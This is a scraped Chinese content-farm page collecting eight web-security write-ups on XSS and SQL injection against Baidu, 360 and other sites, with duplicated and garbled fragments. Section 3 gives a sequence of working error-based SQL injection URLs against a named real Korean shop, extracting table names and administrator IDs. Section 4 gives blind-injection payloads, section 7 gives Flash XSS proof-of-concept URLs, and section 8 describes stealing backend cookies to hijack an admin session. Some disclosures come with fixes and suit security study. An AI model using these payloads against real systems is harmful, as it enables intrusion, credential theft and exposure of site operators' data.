欢迎来到个人简历网!永久域名:gerenjianli.cn (个人简历全拼+cn)
当前位置:首页 > 范文大全 > 实用文>百度的JS数据流注入型跨站脚本安全

百度的JS数据流注入型跨站脚本安全

2022-08-27 08:33:10 收藏本文 下载本文

“xiaoju07”通过精心收集,向本站投稿了8篇百度的JS数据流注入型跨站脚本安全,下面是小编给各位读者分享的百度的JS数据流注入型跨站脚本安全,欢迎大家分享。

百度的JS数据流注入型跨站脚本安全

篇1:百度的JS数据流注入型跨站脚本安全

今天看到的百度贴吧XSS有属于这种类型的,不过仅在FF下有效,原因是在GBK字符集及其子集(或更高级的双字节字符集)编码环境下构造类似于包含%c1′这样的双字节字符串时,提交给服务端,返回,在这整个处理过程的任何一环节,FF都会单独处理这两个字节(%c1与’),而服务端却认为这是一个完整的双字节字符,这导致了单引号这样的特殊字符可以侥幸在FF下残留下来,

IE不行,那是因为它也认为这两个字节构成了一个双字节字符。

貌似说的有点乱。

将恶意构造的数据作为参数注入到服务端返回的JS数据流中,百度似乎很容易忽略这的过滤。比如这个:passport.baidu.com/?login&u=./?”

还没修补。

篇2:百度的JS数据流注入型跨站

style=“display:block;padding:0px 10px;” class=“ContentFont”>

今天看到的百度贴吧XSS有属于这种类型的,不过仅在FF下有效,原因是在GBK字符集及其子集(或更高级的双字节字符集)编码环境下构造类似于包含%c1′这样的双字节字符串时,提交给服务端,返回,

百度的JS数据流注入型跨站

在这整个处理过程的任何一环节,FF都会单独处理这两个字节(%c1与’),而服务端却认为这是一个完整的双字节字符,这导致了单引号这样的特殊字符可以侥幸在FF下残留下来。IE不行,那是因为它也认为这两个字节构成了一个双字节字符。

貌似说的有点乱。

将恶意构造的数据作为参数注入到服务端返回的JS数据流中,百度似乎很容易忽略这的过滤。比如这个:passport.baidu.com/?login&u=./?”

还没修补。

篇3:一次简单的搜索型注入脚本安全

简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞,然后搜索%,如果正常返回,说明95%有洞了。

然后再搜索一个关键字,比如吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。

我这里看出有上面说的洞后开始用nbsi来扫,结果总是超时,郁闷,看来要手工来暴需要的信息了。。。

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and user>0 and '%'=' //得到当前数据库账号

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and db_name>0 and '%'=' //得到当前数据库名

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select count(*) from admin)>0 and '%'=' //返回错误页面,看来是没有admin这个表了

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0)>0 and '%'=' //得到当前数据库的第一个表名

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange'))>0 and '%'=' //得到当前数据库的第二个表名

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint'))>0 and '%'=' //得到当前数据库的第三个表名

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and%20(select%20top%201%20name%20from%20lvhuana3.dbo.sysobjects%20where%20xtype='u'%20and%20status>0%20and%20name%20not%20in('codechange','oldpoint','tbl_admin','tbl_afterservice','tbl_agent','tbl_bank','tbl_board','tbl_board2','tbl_brandbestLeft','tbl_brandbestRight','tbl_card','tbl_cart','tbl_catalogue','tbl_community','tbl_court','tbl_estimate','tbl_FAQ','tbl_mail_list','tbl_mem_add','tbl_mem_main','tbl_mem_out','tbl_mem_rboard','tbl_mileage','tbl_notice','tbl_ord_cash_receipt','tbl_ord_change''tbl_ord_cs','tbl_ord_change','tbl_ord_cs','tbl_ord_main','tbl_ord_payment','tbl_ord_prd','tbl_ord_prd_return','tbl_ord_refund','tbl_ord_req_main','tbl_ord_req_prd','tbl_ord_request','tbl_ord_user','tbl_partition','tbl_prd_category','tbl_prd_click','tbl_prd_desc','tbl_prd_grade','tbl_prd_main','tbl_prd_model','tbl_recommand','tbl_saleshop','tbl_search','tbl_tax','tbl_zipcode','tempDesc','tempdesc2','tempmodel','tempPrdMain','tempPrdmodel','tempsize','tempstyle','tmpordprd','tmpordprd2','trace1'))>0%20and%20'%'=' //依次类推,得到所有的表

其实分析可以知道只有这个tbl_admin表才是最重要的,

接着开始暴列名。

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),1) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第一个列名c_employee_id

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),2) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第二个列名c_employee_name

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第三个列名c_password

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第四个列名c_level

列名暴完毕了,嘿嘿,接着开始暴管理员账号密码了。

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_employee_id from tbl_admin)>0 and '%'=' //得到第一个管理员的id为943hoon

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 2 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第二个管理员的id为champ

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 3 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第三个管理员的id为clark

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第四个管理员的id为hskim

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第五个管理员的id为jajeong

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_c_password from tbl_admin)>0 and '%'=' //这个语句是暴出管理员密码的,可惜直接返回了正常页面,郁闷。。。。

一会再想别的办法吧。。。。。

篇4:注入笔记手工注入字符型注入漏洞脚本安全

今天给大家讲解一下字符型注入点注入,也许很多朋友看到字符型的注入大部分都是放弃此注入去寻找其他数字型注入,因为字符型注入应用的不是很广泛,好了,这里我就来交大家字符型注入,

首先打开localhost:/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包  /很明显,字符型注入,

前几张我们说到了判断字符型注入的语句是' and '1'='1 和' and '1'=2  我们来看看。

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='1 返回正常。

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='2 返回错误。

我们确定了注入点那么我们先看看数字型注入能否在这里使用

先用联合查询 order by

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包+order+by+1   很明显,出错啦,不可使用。

那么再用半猜解查询试试

同样出错。

看来字数字型注入在字符型注入中失效啦,那么我们来试试

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+Manage_User)>0+and+''=' 返回了正常,说明存在manage_user表。

在sql语句中字符型参数必须用单引号闭合(')否则会出错。所以我们在注入中也先要用单引号来闭合语句。

下面我们来猜字段名。

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(username)+from+Manage_User)>0+and+''='  返回正常,存在,

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)>0+and+''='  返回正常,存在。

这里我只截一张图。

下面判断一下username中字段长度

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)>4+and+''='  返回正常

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)=5+and+''='  返回正常

密码字段省略。下面进行猜解用户名。

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+manage_user+where+asc(mid(username,1))=97)+and+''='  返回正常,username表中第一位是ascll码97,明文为:a

接着猜解第二位:localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+manage_user+where+asc(mid(username,2))=100)+and+''='

返回正常,username字段中第二位ASCLL码为100,名为为d

这里之后依次往下猜,最后得到username表中数据为:admin,打开数据库看一下是否一样。

这里说明我们猜解正确。

篇5:有趣的百度杀毒频道跨站脚本安全

来源:余弦函数

跨站之后,返回如下信息:

也没什么,就是告诉你百度杀毒频道使用的是Resin服务器平台,然而给你一个如何返回这样这样404页面的解决方案,以后也许可以用到,

有趣的百度杀毒频道跨站脚本安全

我一点都不知道。

shadu.baidu.com/xss.jsp?,变形一下:

shadu.baidu.com/.jsp ,可以很简短,不过不能利用常规加密方法如escape等伪造,因为.jsp前面应该必须是合法的文件名。遗憾的是,没发现注入点。真是小心翼翼的。我还以为我发现了什么。注入要看数据库的脸色,所以掌握各类主流数据库的相关知识很重要。顺便问一下,谁有耐心读完这段脚本?我看着头就晕了。

10.000 Sites JS Malware Source Code.

篇6:双向跨站(Double Trap XSS)注入分析脚本安全

作者: Aditya K Sood

译者:riusksk(泉哥)

漏洞分析

本篇分析介绍了不同领域下的XSS注入攻击,这里没有使用XSS cheatsheat.现在让我们开始详细分析它,本次实例的目标是SecTheory安全咨询站点。这个过程使用了两种不同的方法,这将使一些安全公司受到微创,同时也有利于新的exploitation类型的确立。两者的结果是相同的,只是方式不一样。

们通过寻找安全漏洞并利用它来进行网站攻击。我个人总是习惯使用两种方法来踩点:

1.URL Banging:在URL中注入输入参数。

2.  Form. Splitting:在form表单中注入伪造的参数,

关键代码:

Your phone number:

Your email address:

。。。。。

注入以下代码

''

TELNET

篇7:Flash应用安全系列360反射型跨站脚本安全

简要描述:

360某处Flash应用存在漏洞,可能导致跨站脚本攻击,

详细说明:

在一切开始之前,我们先来说明几个基本的问题。

1.SWF如何被嵌入HTML页面的

此处所说的嵌入,就是指当你打开一个网页,这个网页中包含着SWF媒体文件,通常是embed或者object标签的形式。SWF嵌入HTML时,embed或者object标签通常还含有几个特定的属性,关键的有allowScriptAccess以及allowNetworking。

allowScriptAccess控制着SWF文件与HTML页面通信的级别,这里所说的通信,包括但不仅限于让SWF执行JS,还囊括了从JS调用SWF里预留出的api接口。

allowScriptAccess有以下三个值:

always 允许任意SWF文件与HTML页面通信。never 禁止任意SWF文件与HTML页面通信。samedomain 只有在SWF文件来自与HTML页相同的域时才允许通信。当未指定allowScriptAccess时,samedomain为默认值。

allowNetworking控制着SWF文件与WEB通信的级别,这里所说的通信,基本上就是发送、读取网络上的资源文件,以及控制浏览器的页面导航。

allowNetworking有以下三个值:

all 无任何限制。internal 禁止控制浏览器页面导航的函数。none 禁止任何网络通信。当未指定allowNetworking时,all为默认值。

2.我直接打开SWF文件时发生了什么

如果你在直接打开SWF文件时,使用IE开发者工具或者Firebug查看DOM源码就会发现,其实你打开的还是一个HTML页面,页面的内容只有一行代码:

前面我们已经讲了两个基本的属性,这里都没有指定,那么Flash Player自动取其默认值:allowScriptAccess=samedomain & allowNetworking=all.

在明白了上面两点之后,我们就能下面几个容易让人混淆的问题作出解答:

- a.com 的html页面 embed 了一个 b.com 的xss.swf,脚本执行域是哪个域?- a.com 因为swf并不能执行JS,我们见到的他所执行的JS,其实是flash player通过调用承载他的html页面的js来实现的,所以是a.com。

- a.com 的html页面 iframe. 了一个 b.com 的xss.swf,脚本执行域是哪个域?- b.com 因为iframe了一个swf,其实是iframe了一个只有一行代码的HTML页面,html页面的域是b.com,故脚本的执行域也是b.com。

- a.com/load.swf能够加载任意的swf,我直接打开a.com/load.swf?url=b.com/xss.swf,能不能执行脚本?- 不能,因为直接打开一个swf,他的allowScriptAccess是samedomain,而xss.swf的域是b.com,所以不能执行JS。

Flash里能执行JS的脚本函数有以下:

getURL(AS2) / navigateToURL (AS3)flash.external.ExternalInterface.call(methodName:String, [parameter1:Object])

我们只需要搜索getURL/navigateToURL/ExternalInterface.call等关键字,然后在逆溯变量是否可控,就可以找到一些最基本的XSS漏洞。

以360的这个swf为例,

搜索ExternalInterface.call,我们发现了下面的代码,

public static function initLanguage : void{ var _loc_1:* = null; Param.language = {}; if (ExternalInterface.available) { _loc_1 = ExternalInterface.call(Param.jsLang); if (_loc_1 != null) { Param.language[“CX0189”] = _loc_1[“CX0189”]; Param.language[“CX0193”] = _loc_1[“CX0193”]; _loc_1 = null; } } return;}

回溯Param.jsLang

this.parameter = this.loaderInfo.parameters;...Param.jsFunc = this.parameter[“jsfunc”];...Param.initLanguage()

这里的loaderInfo.parameters就是接受外部以flashvars或者类似a.swf?a=va&b=vb形式传入的变量和值。

这里我们打开 wan.360.cn/swf/avatar.swf?jslang=alert(1)

这里我们也许还有一个疑问,在官方的帮助文档里,flash.external.ExternalInterface.call可以接受两个参数,第一个是methodName,第二个是要传入的变量,那么对于上面的poc,正确的调用方法应该是flash.external.ExternalInterface.call(“alert”,“1”)才是,为什么flash.external.ExternalInterface.call(“alert(1)”)也能成功。

我们打开ie的调试工具,借用80vul.com上的demo,看看swf执行js时候发生了什么。

首先打开的是www.80vul.com/xss.swf?a=alert&b=1

​​

try { __flash__toXML(alert(“1”)) ; } catch (e) { “”; }

__flash__toXML是将函数执行的结果进行编码后传回SWF的函数,外面再嵌套了一层容错语句,看来一切和预想的一样

再打开www.80vul.com/xss.swf?a=alert(2)&b=1

try { __flash__toXML(alert(2)(“1”)) ; } catch (e) { “”; }

JS先执行了alert(2),弹出对话框。

再单步进入

alert函数没有返回值,alert(2)(“1”)出错,所以跳到了catch语句

这样一来,就能解释为什么即使不按adobe的文档说明的方法进行调用,也能执行js了,再多说一句,由于这样会引起出错导致SWF接收不到JS返回的值,所以在某些特定的情况下,我们要对插入的函数进行进一步的变化,比如

www.80vul.com/xss.swf?a=(function(_a){alert(_a);return function(_z){prompt(2,3)};return 5})(1)&b=4

这样,SWF就可以接收到我们可以任意构造的返回值 5 了。

原始SWF下载:swfpoc.appspot.com/vul/wan.360.cn_swf_avatar.swf​

证明:

修复方案:

正则匹配下,只允许[a-zA-Z.]

篇8:利用XSS跨站漏洞入侵百度投诉中心脚本安全

简要描述:

天天看wooyun上piapiapia弹窗弹的好欢乐,但是真正利用的没几个,也导致了一些人,一些厂商,一些白帽子对XSS危害的蔑视,如果XSS的利用回想当年NBSI一样简单化,也许结果就不同了,

用事实说话。

详细说明:

我们要知道的一个事实是,很多大型互联网企业,其前台防护都很到位,但是没有人会挑保护最好的地方下手,对于前台来说,他的后台就是一个容易被忽视的地方,虽然我们不知道后台程序的构造,但是我们可以根据一些功能的性质来大胆推测,比如互联网公司安全短板--客服反馈系统。

目标地址:tousu.baidu.com

漏洞证明:

找到一个产品的投诉页面,比如文库,想这种功能比较简单的表单,我们直接提交“><这样的代码猜测>

提交后如果运气好的话,

。。。。

访问了一下后台地址,居然是外网可访问的,利用得到的cookie进行会话劫持

跨站漏洞入侵百度投诉中心 用xss平台沦陷百度投诉中心后台” alt=“利用XSS跨站漏洞入侵百度投诉中心 用xss平台沦陷百度投诉中心后台” src=“lcx.cc/File.asp?md5=a31140f9f3cec81d4af7fd04fd8dd26c” data-ke-src=“lcx.cc/File.asp?md5=a31140f9f3cec81d4af7fd04fd8dd26c” width=“685” height=“148” style=“border: 0px; ” nload=“return imgzoom(this,550);” nclick=“javascript.:window.open(this.src);” style=“cursor:pointer;”/>

还有置顶编辑功能,留个脚印

修复方案:

后台不应该对公网全网开放,另外信息展现需要做输出转义。

cookie全局httponly?

摘自:www.wooyun.org/bugs/wooyun-2012-09547

【百度的JS数据流注入型跨站脚本安全】相关文章:

1.安全测试跨站脚本攻击(xss)脚本安全

2.sqlmap 注入命令脚本安全

3.存储型XSS脚本安全

4.注入笔记半猜解查询脚本安全

5.自定义sqlmap注入语句进行高级注入脚本安全

6.手把手叫你SQL注入攻防(PHP语法)脚本安全

7.Mssql 逆向查询脚本安全

8.XXX安全修复后的跨站攻击分析 XSS不单是过滤

9.Web安全测试之XSS脚本安全

10.百度校招产品经理深圳站笔试题

下载word文档
《百度的JS数据流注入型跨站脚本安全.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度: 评级1星 评级2星 评级3星 评级4星 评级5星
点击下载文档

文档为doc格式

最新推荐
猜你喜欢
  • 返回顶部